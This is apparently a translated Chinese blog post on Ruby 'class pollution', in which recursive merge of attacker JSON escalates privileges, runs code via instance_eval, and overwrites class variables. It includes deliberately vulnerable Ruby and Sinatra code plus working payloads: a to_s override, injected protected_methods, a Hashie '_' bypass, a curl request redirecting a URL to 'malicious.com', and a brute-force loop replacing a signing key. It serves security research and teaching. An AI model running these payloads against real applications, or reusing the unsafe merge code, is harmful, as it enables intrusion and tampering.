Ruby类污染漏洞深度解析:递归合并利用技术详解

本文深入探讨Ruby中的类污染漏洞,通过递归合并操作实现权限提升和远程代码执行,分析ActiveSupport和Hashie库的安全风险,并提供实际利用案例和防护建议。

Ruby类污染:深入探索递归合并利用

引言

本文将探讨Ruby中一类鲜为人知的漏洞类型——类污染。这一概念受到JavaScript原型污染的启发,通过递归合并操作污染对象的原型链,导致意外行为。最初在关于Python原型污染的博客文章中讨论,研究人员使用递归合并污染类变量,最终通过__globals__属性影响全局变量。

在Ruby中,类污染可分为三种主要情况:

  1. 哈希合并:此场景下无法实现类污染,因为合并操作仅限于哈希本身
  2. 属性合并(非递归):可污染对象的实例变量,可能通过注入返回值替换方法。这种污染仅限于对象本身,不影响类
  3. 属性合并(递归):递归合并的特性允许我们逃逸对象上下文,污染父类甚至无关类的属性或方法,对应用产生更广泛的影响

属性合并

首先分析一个代码示例,通过递归合并修改对象方法并改变应用行为。这种污染仅限于对象本身。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
require 'json'

# 基类
class Person
  attr_accessor :name, :age, :details

  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

  # 合并额外数据到对象
  def merge_with(additional)
    recursive_merge(self, additional)
  end

  # 基于to_s方法的授权检查
  def authorize
    if to_s == "Admin"
      puts "Access granted: #{@name} is an admin."
    else
      puts "Access denied: #{@name} is not an admin."
    end
  end

  # 健康检查,使用instance_eval执行所有保护方法
  def health_check
    protected_methods().each do |method|
      instance_eval(method.to_s)
    end
  end

  private

  def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        current_obj.instance_variable_set("@#{key}", value)
        current_obj.singleton_class.attr_accessor key
      end
    end
    original
  end

  protected

  def check_cpu
    puts "CPU check passed."
  end

  def check_memory
    puts "Memory check passed."
  end
end

# 管理员类
class Admin < Person
  def to_s
    "Admin"
  end
end

# 普通用户类
class User < Person
  def to_s
    "User"
  end
end

class JSONMergerApp
  def self.run(json_input)
    additional_object = JSON.parse(json_input)
    
    user = User.new(
      name: "John Doe",
      age: 30,
      details: {
        "occupation" => "Engineer",
        "location" => {
          "city" => "Madrid",
          "country" => "Spain"
        }
      }
    )

    user.merge_with(additional_object)
    
    # 授权检查(权限提升漏洞)
    user.authorize
    
    # 执行健康检查(RCE漏洞)
    user.health_check
  end
end

在提供的代码中,我们对User对象的属性执行递归合并,允许注入或覆盖值,可能在不直接修改类定义的情况下改变对象行为。

工作原理

初始化和设置: User对象使用特定属性初始化:name、age和details。这些属性作为实例变量存储在对象中。

合并: 使用表示要合并到User对象中的额外数据的JSON输入调用merge_with方法。

改变对象行为: 通过传递精心构造的JSON数据,可以修改或注入新的实例变量,影响User对象的行为方式。

例如,在authorize方法中,to_s方法决定是否授予用户管理员权限。通过注入返回"Admin"的新to_s方法,可以提升用户权限。

类似地,在health_check方法中,可以通过覆盖通过instance_eval调用的方法注入任意代码执行。

利用示例

权限提升

1
ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'

注入返回"Admin"的新to_s方法,授予用户未经授权的管理员权限。

远程代码执行

1
ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'

向protected_methods列表注入新方法,然后由instance_eval执行,允许任意代码执行。

限制

上述更改仅限于特定对象实例,不影响同一类的其他实例。这意味着虽然对象行为被改变,但同一类的其他对象保持不变。

此示例突显了如果管理不当,看似无害的操作(如递归合并)如何被利用引入严重漏洞。通过了解这些风险,开发人员可以更好地保护应用免受此类攻击。

真实案例

接下来探索Ruby中执行合并的两个最流行库,看看它们如何容易受到类污染攻击。需要注意的是,还有其他库可能受此类问题影响,这些漏洞的整体影响各不相同。

1. ActiveSupport的deep_merge

ActiveSupport是Ruby on Rails的内置组件,为哈希提供deep_merge方法。就其本身而言,此方法不可利用,因为它仅限于哈希。但如果与以下内容结合使用,可能变得易受攻击:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def merge_with(other_object)
  merged_hash = to_h.deep_merge(other_object)
  
  merged_hash.each do |key, value|
    self.class.attr_accessor key
    instance_variable_set("@#{key}", value)
  end
  
  self
end

在此示例中,如果按所示使用deep_merge,我们可以类似第一个示例利用它,导致应用行为的潜在危险变化。

2. Hashie

Hashie库广泛用于在Ruby中创建灵活的数据结构,提供deep_merge等功能。但与之前ActiveSupport的示例不同,Hashie的deep_merge方法直接对对象属性而不是普通哈希进行操作。这使其更容易受到属性污染。

Hashie有一个内置机制,防止在合并期间直接用属性替换方法。通常,如果尝试通过deep_merge用属性覆盖方法,Hashie将阻止尝试并发出警告。但此规则有特定例外:以_、!或?结尾的属性仍可以合并到对象中,即使它们与现有方法冲突。

关键点

  • 方法保护:Hashie保护方法名称不被以_、!或?结尾的属性直接覆盖
  • _的特殊处理:关键漏洞在于_作为独立属性的处理

实际示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
require 'json'
require 'hashie'

class Person < Hashie::Mash
  def merge_with(other_object)
    deep_merge!(other_object)
    self
  end

  def authorize
    if _.to_s == "Admin"
      puts "Access granted: #{@name} is an admin."
    else
      puts "Access denied: #{@name} is not an admin."
    end
  end
end

class Admin < Person
  def to_s
    "Admin"
  end
end

class User < Person
  def to_s
    "User"
  end
end

在提供的代码中,我们利用Hashie对_的处理来操纵授权过程的行为。当调用_.to_s时,它访问新创建的Mash对象,我们可以在其中注入值"Admin"。这允许攻击者通过将数据注入临时Mash对象来绕过基于方法的授权检查。

例如,JSON有效载荷{"_": "Admin"}将字符串"Admin"注入由_创建的临时Mash对象中,允许用户通过authorize方法获得管理员访问权限,即使to_s方法本身没有被直接覆盖。

此漏洞突显了如何利用Hashie库的某些特性来绕过应用逻辑,即使有防止方法覆盖的保护措施。

逃逸对象以污染类

当合并操作是递归的并以属性为目标时,可能逃逸对象上下文并污染类、其父类甚至其他无关类的属性或方法。这种污染影响整个应用上下文,可能导致严重漏洞。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
require 'json'
require 'sinatra/base'
require 'net/http'

class Person
  @@url = "http://default-url.com"

  attr_accessor :name, :age, :details

  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

  def self.url
    @@url
  end

  def merge_with(additional)
    recursive_merge(self, additional)
  end

  private

  def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        current_obj.instance_variable_set("@#{key}", value)
        current_obj.singleton_class.attr_accessor key
      end
    end
    original
  end
end

class KeySigner
  @@signing_key = "default-signing-key"

  def self.signing_key
    @@signing_key
  end

  def sign(signing_key, data)
    "#{data}-signed-with-#{signing_key}"
  end
end

class JSONMergerApp < Sinatra::Base
  post '/merge' do
    content_type :json
    json_input = JSON.parse(request.body.read)

    user = User.new(
      name: "John Doe",
      age: 30,
      details: {
        "occupation" => "Engineer",
        "location" => {
          "city" => "Madrid",
          "country" => "Spain"
        }
      }
    )

    user.merge_with(json_input)
    { status: 'merged' }.to_json
  end

  get '/launch-curl-command' do
    content_type :json
    if Person.respond_to?(:url)
      url = Person.url
      response = Net::HTTP.get_response(URI(url))
      { status: 'HTTP request made', url: url, response_body: response.body }.to_json
    else
      { status: 'Failed to access URL variable' }.to_json
    end
  end

  get '/sign_with_subclass_key' do
    content_type :json
    signer = KeySigner.new
    signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
    { status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
  end

  get '/check-infected-vars' do
    content_type :json
    {
      user_url: Person.url,
      signing_key: KeySigner.signing_key
    }.to_json
  end
end

在以下示例中,我们演示了两种不同类型的类污染:

(A) 污染父类

在此利用中,使用递归合并操作修改Person类(User的父类)中的@@url变量。通过向此变量注入恶意URL,可以操纵应用后续的HTTP请求。

例如,使用以下curl命令:

1
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge

我们成功污染了Person类中的@@url变量。当访问/launch-curl-command端点时,它现在向http://malicious.com发送请求,而不是原始URL。

这演示了递归合并如何逃逸对象级别并修改类级别变量,影响整个应用。

(B) 污染其他类

此利用利用暴力感染特定子类。通过重复尝试向随机子类注入恶意数据,最终可以定位并污染负责签名数据的KeySigner类。

例如,使用以下循环curl命令:

1
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done

我们尝试污染KeySigner中的@@signing_key变量。几次尝试后,KeySigner类被感染,签名密钥被替换为我们注入的密钥。

此利用突显了递归合并与暴力子类选择结合的危险性。虽然有效,但此方法可能由于其侵略性而导致问题,可能导致类的过度感染。

在后来的示例中,我们设置了一个HTTP服务器来演示感染的类如何在多个HTTP请求中保持污染。这些感染的持久性表明,一旦类被污染,整个应用上下文就会受到损害,涉及该类的所有未来操作都将表现出不可预测的行为。

服务器设置还允许我们通过特定端点轻松检查这些感染变量的状态。例如,/check-infected-vars端点输出@@url和@@signing_key变量的当前值,确认感染是否成功。

这种方法清楚地展示了Ruby中的类污染如何具有持久和深远的影响,使其成为需要保护的关键领域。

结论

此处进行的研究强调了Ruby中类污染相关的风险,特别是在涉及递归合并时。这些漏洞特别危险,因为它们允许攻击者逃逸对象的限制并操纵更广泛的应用上下文。通过了解这些机制并仔细考虑如何处理数据合并,可以减轻Ruby应用中类污染的风险。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计